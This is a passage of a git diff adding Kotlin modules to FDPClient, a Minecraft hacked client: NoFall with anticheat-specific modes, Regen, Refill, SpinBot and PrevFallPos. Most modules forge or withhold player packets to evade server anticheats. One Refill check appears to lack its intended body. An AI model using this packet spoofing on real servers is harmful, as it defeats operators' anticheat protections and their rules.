net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.* +import net.ccbluex.liquidbounce.features.module.EnumAutoDisableType +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.module.modules.player.nofalls.NoFallMode +import net.ccbluex.liquidbounce.features.module.modules.visual.FreeCam +import net.ccbluex.liquidbounce.utils.ClassUtils +import net.ccbluex.liquidbounce.utils.block.BlockUtils +import net.ccbluex.liquidbounce.features.value.ListValue +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.minecraft.block.BlockLiquid +import net.minecraft.util.AxisAlignedBB + +@ModuleInfo(name = "NoFall", category = ModuleCategory.PLAYER, autoDisable = EnumAutoDisableType.FLAG) +object NoFall : Module() { + + private val modes = ClassUtils.resolvePackage("${this.javaClass.`package`.name}.nofalls", NoFallMode::class.java) + .map { it.newInstance() as NoFallMode } + .sortedBy { it.modeName } + + val mode: NoFallMode + get() = modes.find { modeValue.equals(it.modeName) } ?: throw NullPointerException() // this should not happen + + private val modeValue: ListValue = object : ListValue("Mode", modes.map { it.modeName }.toTypedArray(), "Vanilla") { + override fun onChange(oldValue: String, newValue: String) { + if (state) onDisable() + } + + override fun onChanged(oldValue: String, newValue: String) { + if (state) onEnable() + } + } + + private val noVoid = BoolValue("NoVoid", false) + + var launchX = 0.0 + var launchY = 0.0 + var launchZ = 0.0 + var launchYaw = 0f + var launchPitch = 0f + + var antiDesync = false + + var needReset = true + + var wasTimer = false + + override fun onEnable() { + needReset = true + launchX = mc.thePlayer.posX + launchY = mc.thePlayer.posY + launchZ = mc.thePlayer.posZ + launchYaw = mc.thePlayer.rotationYaw + launchPitch = mc.thePlayer.rotationPitch + wasTimer = false + + mode.onEnable() + } + + override fun onDisable() { + mc.thePlayer.capabilities.isFlying = false + mc.thePlayer.capabilities.flySpeed = 0.05f + mc.thePlayer.noClip = false + + mc.timer.timerSpeed = 1F + mc.thePlayer.speedInAir = 0.02F + mode.onDisable() + } + + @EventTarget + fun onUpdate(event: UpdateEvent) { + if (wasTimer) { + mc.timer.timerSpeed = 1.0f + wasTimer = false + } + mode.onUpdate(event) + if (!state || FDPClient.moduleManager[FreeCam::class.java]!!.state) { + return + } + + if (mc.thePlayer.isSpectator || mc.thePlayer.capabilities.allowFlying || mc.thePlayer.capabilities.disableDamage) { + return + } + + if (BlockUtils.collideBlock(mc.thePlayer.entityBoundingBox) { it is BlockLiquid } || BlockUtils.collideBlock( + AxisAlignedBB(mc.thePlayer.entityBoundingBox.maxX, mc.thePlayer.entityBoundingBox.maxY, mc.thePlayer.entityBoundingBox.maxZ, mc.thePlayer.entityBoundingBox.minX, mc.thePlayer.entityBoundingBox.minY - 0.01, mc.thePlayer.entityBoundingBox.minZ) + ) { it is BlockLiquid }) { + return + } + + if (checkVoid() && noVoid.get()) return + + mode.onNoFall(event) + } + + @EventTarget + fun onMotion(event: MotionEvent) { + mode.onMotion(event) + } + + @EventTarget + fun onPacket(event: PacketEvent) { + mode.onPacket(event) + } + + @EventTarget + fun onMove(event: MoveEvent) { + mode.onMove(event) + } + + @EventTarget + fun onBlockBB(event: BlockBBEvent) { + mode.onBlockBB(event) + } + + @EventTarget + fun onJump(event: JumpEvent) { + mode.onJump(event) + } + + @EventTarget + fun onStep(event: StepEvent) { + mode.onStep(event) + } + + override val tag: String + get() = modeValue.get() + + private fun checkVoid(): Boolean { + var i = (-(mc.thePlayer.posY-1.4857625)).toInt() + var dangerous = true + while (i <= 0) { + dangerous = mc.theWorld.getCollisionBoxes(mc.thePlayer.entityBoundingBox.offset(mc.thePlayer.motionX * 0.5, i.toDouble(), mc.thePlayer.motionZ * 0.5)).isEmpty() + i++ + if (!dangerous) break + } + return dangerous + } + + + /** + * 读取mode中的value并和本体中的value合并 + * 所有的value必须在这个之前初始化 + */ + override val values = super.values.toMutableList().also { + modes.map { + mode -> mode.values.forEach { value -> + //it.add(value.displayable { modeValue.equals(mode.modeName) }) + val displayableFunction = value.displayableFunction + it.add(value.displayable { displayableFunction.invoke() && modeValue.equals(mode.modeName) }) + } + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/PrevFallPos.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/PrevFallPos.kt new file mode 100644 index 0000000..62343fd --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/PrevFallPos.kt @@ -0,0 +1,75 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.player + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.Render3DEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.utils.misc.FallingPlayer +import net.ccbluex.liquidbounce.utils.render.ColorUtils +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.minecraft.util.BlockPos +import java.awt.Color +import kotlin.math.abs + +@ModuleInfo(name = "PrevFallPos", category = ModuleCategory.PLAYER) +object PrevFallPos : Module() { + + private val modeValue = ListValue("Mode", arrayOf("Box", "OtherBox", "Outline"), "Box") + private val outlineWidthValue = FloatValue("Outline-Width", 3f, 0.5f, 5f).displayable { modeValue.equals("Outline") } + private val fallDistValue = FloatValue("FallDist", 1.15F, 0F, 5F) + private val colorRedValue = IntegerValue("R", 255, 0, 255).displayable { !colorRainbowValue.get() } + private val colorGreenValue = IntegerValue("G", 255, 0, 255).displayable { !colorRainbowValue.get() } + private val colorBlueValue = IntegerValue("B", 255, 0, 255).displayable { !colorRainbowValue.get() } + private val colorAlphaValue = IntegerValue("A", 130, 0, 255) + private val colorRainbowValue = BoolValue("Rainbow", false) + + private var pos: BlockPos? = null + + override fun onEnable() { + pos = null + } + + @EventTarget + fun onUpdate(event: UpdateEvent) { + pos = if (!mc.thePlayer.onGround) { + val fallingPlayer = FallingPlayer(mc.thePlayer) + val collLoc = fallingPlayer.findCollision(60) // null -> too far to calc or fall pos in void + if (abs((collLoc?.y ?: 0) - mc.thePlayer.posY) > (fallDistValue.get() + 1)) { + collLoc + } else { + null + } + } else { + null + } + } + + @EventTarget + fun onRender3d(event: Render3DEvent) { + pos ?: return + + val color = if (colorRainbowValue.get()) ColorUtils.rainbowWithAlpha(colorAlphaValue.get()) else Color(colorRedValue.get(), colorGreenValue.get(), colorBlueValue.get(), colorAlphaValue.get()) + when (modeValue.get().lowercase()) { + "box" -> { + RenderUtils.drawBlockBox(pos, color, true, true, outlineWidthValue.get()) + } + "otherbox" -> { + RenderUtils.drawBlockBox(pos, color, false, true, outlineWidthValue.get()) + } + "outline" -> { + RenderUtils.drawBlockBox(pos, color, true, false, outlineWidthValue.get()) + } + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/Refill.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/Refill.kt new file mode 100644 index 0000000..aef378e --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/Refill.kt @@ -0,0 +1,131 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.player + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.injection.implementations.IMixinItemStack +import net.ccbluex.liquidbounce.utils.timer.MSTimer +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.minecraft.client.gui.inventory.GuiInventory +import net.minecraft.item.ItemStack +import net.minecraft.network.play.client.C0DPacketCloseWindow +import net.minecraft.network.play.client.C0EPacketClickWindow +import net.minecraft.network.play.client.C16PacketClientStatus +import net.minecraft.network.play.server.S2EPacketCloseWindow + +@ModuleInfo(name = "Refill", category = ModuleCategory.PLAYER) +object Refill : Module() { + + private val delayValue = IntegerValue("Delay", 400, 10, 1000) + + private val itemDelayValue = IntegerValue("ItemDelay", 400, 0, 1000) + + private val modeValue = ListValue("Mode", arrayOf("Swap", "Merge"), "Swap") + + private val invOpenValue = BoolValue("InvOpen", false) + private val simulateInventoryValue = BoolValue("SimulateInventory", false) + + private val noMoveValue = BoolValue("NoMoveClicks", false) + private val noMoveAirValue = BoolValue("NoClicksInAir", false) + + private val noMoveGroundValue = BoolValue("NoClicksOnGround", true) + + private val timer = MSTimer() + + private var openInv = false + + @EventTarget + fun onUpdate(event: UpdateEvent) { + if (!timer.hasTimePassed(delayValue.get().toLong())) + + if (invOpenValue.get() && mc.currentScreen !is GuiInventory) + return + + if (noMoveValue.get() && MovementUtils.isMoving() && if (mc.thePlayer.onGround) noMoveGroundValue.get() else noMoveAirValue.get()) + return + + for (slot in 36..44) { + val stack = mc.thePlayer.inventoryContainer.getSlot(slot).stack ?: continue + if (stack.stackSize == stack.maxStackSize + || (System.currentTimeMillis() - (stack as IMixinItemStack).itemDelay) < itemDelayValue.get()) continue + + when (modeValue.get()) { + "Swap" -> { + val bestOption = mc.thePlayer.inventoryContainer.inventory.withIndex() + .filter { (index, searchStack) -> + index < 36 && searchStack != null && searchStack.stackSize > stack.stackSize + && (ItemStack.areItemsEqual(stack, searchStack) + || searchStack.item.javaClass.isAssignableFrom(stack.item.javaClass) + || stack.item.javaClass.isAssignableFrom(searchStack.item.javaClass)) + }.maxByOrNull { it.value.stackSize } + + if (bestOption != null) { + val (index, betterStack) = bestOption + + click(index, slot - 36, 2, betterStack) + break + } + } + + "Merge" -> { + val bestOption = mc.thePlayer.inventoryContainer.inventory.withIndex() + .filter { (index, searchStack) -> + index < 36 && searchStack != null && ItemStack.areItemsEqual(stack, searchStack) + }.minByOrNull { it.value.stackSize } + + if (bestOption != null) { + val (otherSlot, otherStack) = bestOption + + click(otherSlot, 0, 0, otherStack) + click(slot, 0, 0, stack) + + // Return items that couldn't fit into hotbar slot + if (stack.stackSize + otherStack.stackSize > stack.maxStackSize) + click(otherSlot, 0, 0, otherStack) + + break + } + } + } + } + + if (simulateInventoryValue.get() && openInv && mc.currentScreen !is GuiInventory) + mc.netHandler.addToSendQueue(C0DPacketCloseWindow(mc.thePlayer.openContainer.windowId)) + } + + @EventTarget(ignoreCondition = true) + fun onPacket(event: PacketEvent) { + val packet = event.packet + if (event.isCancelled) return + + when (packet) { + is C16PacketClientStatus -> + if (packet.status == C16PacketClientStatus.EnumState.OPEN_INVENTORY_ACHIEVEMENT) + openInv = true + is C0DPacketCloseWindow, is S2EPacketCloseWindow -> openInv = false + } + } + + fun click(slot: Int, button: Int, mode: Int, stack: ItemStack) { + if (simulateInventoryValue.get() && !openInv) + mc.netHandler.addToSendQueue(C16PacketClientStatus(C16PacketClientStatus.EnumState.OPEN_INVENTORY_ACHIEVEMENT)) + + mc.netHandler.addToSendQueue( + C0EPacketClickWindow(mc.thePlayer.openContainer.windowId, slot, button, mode, stack, + mc.thePlayer.openContainer.getNextTransactionID(mc.thePlayer.inventory)) + ) + + timer.reset() + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/Regen.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/Regen.kt new file mode 100644 index 0000000..619b170 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/Regen.kt @@ -0,0 +1,106 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.player + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.utils.timer.MSTimer +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.minecraft.network.play.client.C03PacketPlayer +import net.minecraft.potion.Potion + +@ModuleInfo(name = "Regen", category = ModuleCategory.PLAYER) +object Regen : Module() { + + private val modeValue = ListValue("Mode", arrayOf("Vanilla", "OldSpartan", "NewSpartan", "AAC4NoFire"), "Vanilla") + private val healthValue = IntegerValue("Health", 18, 0, 20) + private val delayValue = IntegerValue("Delay", 0, 0, 1000) + private val foodValue = IntegerValue("Food", 18, 0, 20) + private val speedValue = IntegerValue("Speed", 100, 1, 100) + private val noAirValue = BoolValue("NoAir", false) + private val potionEffectValue = BoolValue("PotionEffect", false) + + private val timer = MSTimer() + private var resetTimer = false + + override fun onEnable() { + timer.reset() + } + + @EventTarget + fun onUpdate(event: UpdateEvent) { + if (resetTimer) { + mc.timer.timerSpeed = 1F + resetTimer = false + } + + if ((!noAirValue.get() || mc.thePlayer.onGround) && + !mc.thePlayer.capabilities.isCreativeMode && + mc.thePlayer.foodStats.foodLevel > foodValue.get() && + mc.thePlayer.isEntityAlive && + mc.thePlayer.health < healthValue.get() + ) { + if (potionEffectValue.get() && !mc.thePlayer.isPotionActive(Potion.regeneration)) { + return + } + + if(!(timer.hasTimePassed(delayValue.get().toLong()))) { + return + } + + when (modeValue.get().lowercase()) { + "vanilla" -> { + repeat(speedValue.get()) { + mc.netHandler.addToSendQueue(C03PacketPlayer(mc.thePlayer.onGround)) + } + } + + "aac4nofire" -> { + if (mc.thePlayer.isBurning && mc.thePlayer.ticksExisted % 10 == 0) { + repeat(35) { + mc.netHandler.addToSendQueue(C03PacketPlayer(true)) + } + } + } + + "newspartan" -> { + if (mc.thePlayer.ticksExisted % 5 == 0) { + resetTimer = true + mc.timer.timerSpeed = 0.98F + repeat(10) { + mc.netHandler.addToSendQueue(C03PacketPlayer(true)) + } + } else { + if (MovementUtils.isMoving()) mc.netHandler.addToSendQueue(C03PacketPlayer(mc.thePlayer.onGround)) + } + } + + "oldspartan" -> { + if (MovementUtils.isMoving() || !mc.thePlayer.onGround) { + return + } + + repeat(9) { + mc.netHandler.addToSendQueue(C03PacketPlayer(mc.thePlayer.onGround)) + } + + mc.timer.timerSpeed = 0.45F + resetTimer = true + } + } + + timer.reset() + } + } + override val tag: String + get() = modeValue.get() +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/SpinBot.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/SpinBot.kt new file mode 100644 index 0000000..0e67a15 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/SpinBot.kt @@ -0,0 +1,80 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.player + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.utils.Rotation +import net.ccbluex.liquidbounce.utils.RotationUtils +import net.ccbluex.liquidbounce.utils.misc.RandomUtils +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.ccbluex.liquidbounce.features.value.IntegerValue + +@ModuleInfo(name = "SpinBot", category = ModuleCategory.PLAYER) +object SpinBot : Module() { + + private val yawModeValue = ListValue("YawMode", arrayOf("Jitter", "Spin", "Back", "BackJitter"), "Spin") + private val pitchModeValue = ListValue("PitchMode", arrayOf("Down", "Up", "Jitter", "AnotherJitter"), "Down") + private val spinSpeedValue = IntegerValue("spinSpeed", 20, 1, 90).displayable { yawModeValue.equals("Spin") } + private val rotateValue = BoolValue("SilentRotate", true) + + private var yaw = 0f + private var pitch = 0f + + @EventTarget + fun onUpdate(event: UpdateEvent) { + when (yawModeValue.get().lowercase()) { + "spin" -> { + yaw += spinSpeedValue.get().toFloat() + if (yaw > 180.0f) { + yaw = -180.0f + } else if (yaw < -180.0f) { + yaw = 180.0f + } + } + "jitter" -> { + yaw = mc.thePlayer.rotationYaw + if (mc.thePlayer.ticksExisted % 2 == 0) 90F else -90F + } + "back" -> { + yaw = mc.thePlayer.rotationYaw + 180f + } + "backjitter" -> { + yaw = mc.thePlayer.rotationYaw + 180f + RandomUtils.nextDouble(-3.0, 3.0).toFloat() + } + } + + when (pitchModeValue.get().lowercase()) { + "up" -> { + pitch = -90.0f + } + "down" -> { + pitch = 90.0f + } + "anotherjitter" -> { + pitch = 60f + RandomUtils.nextDouble(-3.0, 3.0).toFloat() + } + "jitter" -> { + pitch += 30.0f + if (pitch > 90.0f) { + pitch = -90.0f + } else if (pitch < -90.0f) { + pitch = 90.0f + } + } + } + + if (rotateValue.get()) { + RotationUtils.setTargetRotation(Rotation(yaw, pitch)) + } else { + mc.thePlayer.rotationYaw = yaw + mc.thePlayer.rotationPitch = pitch + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/NoFallMode.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/NoFallMode.kt new file mode 100644 index 0000000..e8a0a66 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/NoFallMode.kt @@ -0,0 +1,30 @@ +package net.ccbluex.liquidbounce.features.module.modules.player.nofalls + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.* +import net.ccbluex.liquidbounce.features.module.modules.player.NoFall +import net.ccbluex.liquidbounce.utils.ClassUtils +import net.ccbluex.liquidbounce.utils.MinecraftInstance +import net.ccbluex.liquidbounce.features.value.Value + +abstract class NoFallMode(val modeName: String) : MinecraftInstance() { + protected val valuePrefix = "$modeName-" + + protected val nofall: NoFall + get() = FDPClient.moduleManager[NoFall::class.java]!! + + open val values: List<Value<*>> + get() = ClassUtils.getValues(this.javaClass, this) + + open fun onEnable() {} + open fun onDisable() {} + + open fun onUpdate(event: UpdateEvent) {} + open fun onNoFall(event: UpdateEvent) {} + open fun onMotion(event: MotionEvent) {} + open fun onPacket(event: PacketEvent) {} + open fun onMove(event: MoveEvent) {} + open fun onBlockBB(event: BlockBBEvent) {} + open fun onJump(event: JumpEvent) {} + open fun onStep(event: StepEvent) {} +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/aac/AAC3311Nofall.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/aac/AAC3311Nofall.kt new file mode 100644 index 0000000..802f7ee --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/aac/AAC3311Nofall.kt @@ -0,0 +1,16 @@ +package net.ccbluex.liquidbounce.features.module.modules.player.nofalls.aac + +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.player.nofalls.NoFallMode +import net.minecraft.network.play.client.C03PacketPlayer + +class AAC3311Nofall : NoFallMode("AAC3.3.11") { + override fun onNoFall(event: UpdateEvent) { + if (mc.thePlayer.fallDistance > 2) { + mc.thePlayer.motionZ = 0.0 + mc.thePlayer.motionX = mc.thePlayer.motionZ + mc.netHandler.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY - 10E-4, mc.thePlayer.posZ, mc.thePlayer.onGround)) + mc.netHandler.addToSendQueue(C03PacketPlayer(true)) + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/aac/AAC3315Nofall.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/aac/AAC3315Nofall.kt new file mode 100644 index 0000000..23151bd --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/aac/AAC3315Nofall.kt @@ -0,0 +1,16 @@ +package net.ccbluex.liquidbounce.features.module.modules.player.nofalls.aac + +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.player.nofalls.NoFallMode +import net.minecraft.network.play.client.C03PacketPlayer + +class AAC3315Nofall : NoFallMode("AAC3.3.15") { + override fun onNoFall(event: UpdateEvent) { + if (mc.thePlayer.fallDistance > 2) { + if (!mc.isIntegratedServerRunning) { + mc.netHandler.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, Double.NaN, mc.thePlayer.posZ, false)) + } + mc.thePlayer.fallDistance = -9999f + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/aac/AAC44XFlagNofall.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/aac/AAC44XFlagNofall.kt new file mode 100644 index 0000000..a0c0247 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/aac/AAC44XFlagNofall.kt @@ -0,0 +1,19 @@ +package net.ccbluex.liquidbounce.features.module.modules.player.nofalls.aac + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.features.module.modules.player.nofalls.NoFallMode +import net.minecraft.network.play.client.C03PacketPlayer +import net.minecraft.network.play.server.S12PacketEntityVelocity + +class AAC44XFlagNofall : NoFallMode("AAC4.4.X-Flag") { + override fun onPacket(event: PacketEvent) { + if (event.packet is S12PacketEntityVelocity && mc.thePlayer.fallDistance > 1.8) { + event.packet.motionY = (event.packet.motionY * -0.1).toInt() + } + if(event.packet is C03PacketPlayer) { + if (mc.thePlayer.fallDistance > 1.6) { + event.packet.onGround = true + } + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/aac/AAC5014Nofall.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/aac/AAC5014Nofall.kt new file mode 100644 index 0000000..4e51d6a --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/aac/AAC5014Nofall.kt @@ -0,0 +1,52 @@ +package net.ccbluex.liquidbounce.features.module.modules.player.nofalls.aac + +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.player.nofalls.NoFallMode +import net.ccbluex.liquidbounce.utils.block.BlockUtils +import net.minecraft.network.play.client.C03PacketPlayer +import net.minecraft.util.BlockPos + +class AAC5014Nofall : NoFallMode("AAC5.0.14") { + private var aac5Check = false + private var aac5doFlag = false + private var aac5Timer = 0 + override fun onEnable() { + aac5Check = false + aac5Timer = 0 + aac5doFlag = false + } + override fun onNoFall(event: UpdateEvent) { + var offsetYs = 0.0 + aac5Check = false + while (mc.thePlayer.motionY - 1.5 < offsetYs) { + val blockPos = BlockPos(mc.thePlayer.posX, mc.thePlayer.posY + offsetYs, mc.thePlayer.posZ) + val block = BlockUtils.getBlock(blockPos) + val axisAlignedBB = block!!.getCollisionBoundingBox(mc.theWorld, blockPos, BlockUtils.getState(blockPos)) + if (axisAlignedBB != null) { + offsetYs = -999.9 + aac5Check = true + } + offsetYs -= 0.5 + } + if (mc.thePlayer.onGround) { + mc.thePlayer.fallDistance = -2f + aac5Check = false + } + if (aac5Timer > 0) { + aac5Timer -= 1 + } + if (aac5Check && mc.thePlayer.fallDistance > 2.5 && !mc.thePlayer.onGround) { + aac5doFlag = true + aac5Timer = 18 + } else { + if (aac5Timer < 2) aac5doFlag = false + } + if (aac5doFlag) { + if (mc.thePlayer.onGround) { + mc.netHandler.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + 0.5, mc.thePlayer.posZ, true)) + } else { + mc.netHandler.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + 0.42, mc.thePlayer.posZ, true)) + } + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/aac/AAC504Nofall.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/aac/AAC504Nofall.kt new file mode 100644 index 0000000..f27343a --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/aac/AAC504Nofall.kt @@ -0,0 +1,30 @@ +package net.ccbluex.liquidbounce.features.module.modules.player.nofalls.aac + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.player.nofalls.NoFallMode +import net.minecraft.network.play.client.C03PacketPlayer + +class AAC504Nofall : NoFallMode("AAC5.0.4") { + private var isDmgFalling = false + override fun onNoFall(event: UpdateEvent) { + if (mc.thePlayer.fallDistance > 3) { + isDmgFalling = true + } + } + + override fun onPacket(event: PacketEvent) { + if(event.packet is C03PacketPlayer) { + if(isDmgFalling) { + if (event.packet.onGround && mc.thePlayer.onGround) { + isDmgFalling = false + event.packet.onGround = true + mc.thePlayer.onGround = false + event.packet.y += 1.0 + mc.netHandler.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(event.packet.x, event.packet.y - 1.0784, event.packet.z, false)) + mc.netHandler.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(event.packet.x, event.packet.y - 0.5, event.packet.z, true)) + } + } + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/aac/AACv4Nofall.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/aac/AACv4Nofall.kt new file mode 100644 index 0000000..4ed4223 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/aac/AACv4Nofall.kt @@ -0,0 +1,107 @@ +package net.ccbluex.liquidbounce.features.module.modules.player.nofalls.aac + +import net.ccbluex.liquidbounce.event.EventState +import net.ccbluex.liquidbounce.event.MotionEvent +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.features.module.modules.player.nofalls.NoFallMode +import net.minecraft.network.play.client.C03PacketPlayer +import net.minecraft.util.AxisAlignedBB + +class AACv4Nofall : NoFallMode("AACv4") { + private var aac4Fakelag = false + private var packetModify = false + private val aac4Packets = mutableListOf<C03PacketPlayer>() + override fun onEnable() { + aac4Packets.clear() + packetModify =false + aac4Fakelag = false + } + + override fun onPacket(event: PacketEvent) { + if(event.packet is C03PacketPlayer && aac4Fakelag) { + event.cancelEvent() + if (packetModify) { + event.packet.onGround = true + packetModify = false + } + aac4Packets.add(event.packet) + } + } + + override fun onMotion(event: MotionEvent) { + if(event.eventState == EventState.PRE) { + if (!inVoid()) { + if (aac4Fakelag) { + aac4Fakelag = false + if (aac4Packets.size > 0) { + for (packet in aac4Packets) { + mc.thePlayer.sendQueue.addToSendQueue(packet) + } + aac4Packets.clear() + } + } + return + } + if (mc.thePlayer.onGround && aac4Fakelag) { + aac4Fakelag = false + if (aac4Packets.size > 0) { + for (packet in aac4Packets) { + mc.thePlayer.sendQueue.addToSendQueue(packet) + } + aac4Packets.clear() + } + return + } + if (mc.thePlayer.fallDistance > 2.5 && aac4Fakelag) { + packetModify = true + mc.thePlayer.fallDistance = 0f + } + if (inAir(4.0, 1.0)) { + return + } + if (!aac4Fakelag) { + aac4Fakelag = true + } + } + } + private fun inVoid(): Boolean { + if (mc.thePlayer.posY < 0) { + return false + } + var off = 0 + while (off < mc.thePlayer.posY + 2) { + val bb = AxisAlignedBB( + mc.thePlayer.posX, + mc.thePlayer.posY, + mc.thePlayer.posZ, + mc.thePlayer.posX, + off.toDouble(), + mc.thePlayer.posZ + ) + if (mc.theWorld.getCollidingBoundingBoxes(mc.thePlayer, bb).isNotEmpty()) { + return true + } + off += 2 + } + return false + } + private fun inAir(height: Double, plus: Double): Boolean { + if (mc.thePlayer.posY < 0) return false + var off = 0 + while (off < height) { + val bb = AxisAlignedBB( + mc.thePlayer.posX, + mc.thePlayer.posY, + mc.thePlayer.posZ, + mc.thePlayer.posX, + mc.thePlayer.posY - off, + mc.thePlayer.posZ + ) + if (!mc.theWorld.getCollidingBoundingBoxes(mc.thePlayer, bb).isEmpty()) { + return true + } + off += plus.toInt() + } + return false + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/aac/LAACNofall.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/aac/LAACNofall.kt new file mode 100644 index 0000000..6d0e5e1 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/aac/LAACNofall.kt @@ -0,0 +1,39 @@ +package net.ccbluex.liquidbounce.features.module.modules.player.nofalls.aac + +import 